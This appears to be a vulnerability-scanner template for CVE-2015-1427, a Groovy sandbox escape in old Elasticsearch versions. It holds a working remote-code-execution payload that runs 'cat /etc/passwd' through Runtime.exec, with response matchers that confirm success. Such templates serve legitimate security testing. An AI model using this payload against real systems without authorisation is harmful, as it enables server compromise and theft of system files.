id: CVE-2015-1427

info:
  name: ElasticSearch 1.4.0/1.4.2 RCE
  author: pikpikcu
  severity: critical
  description: The Groovy scripting engine in Elasticsearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script.
  reference:
    - https://blog.csdn.net/JiangBuLiu/article/details/94457980
    - http://www.elasticsearch.com/blog/elasticsearch-1-4-3-1-3-8-released/
  tags: cve,cve2015,elastic,rce,elasticsearch

requests:
  - raw:
      - |
        POST /website/blog/ HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Accept-Language: en
        Content-Type: application/x-www-form-urlencoded

        {
          "name": "test"
        }
      - |
        POST /_search HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/x-www-form-urlencoded

        {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getText()"}}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "application/json"
        part: header

      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body

      - type: status
        status:
          - 200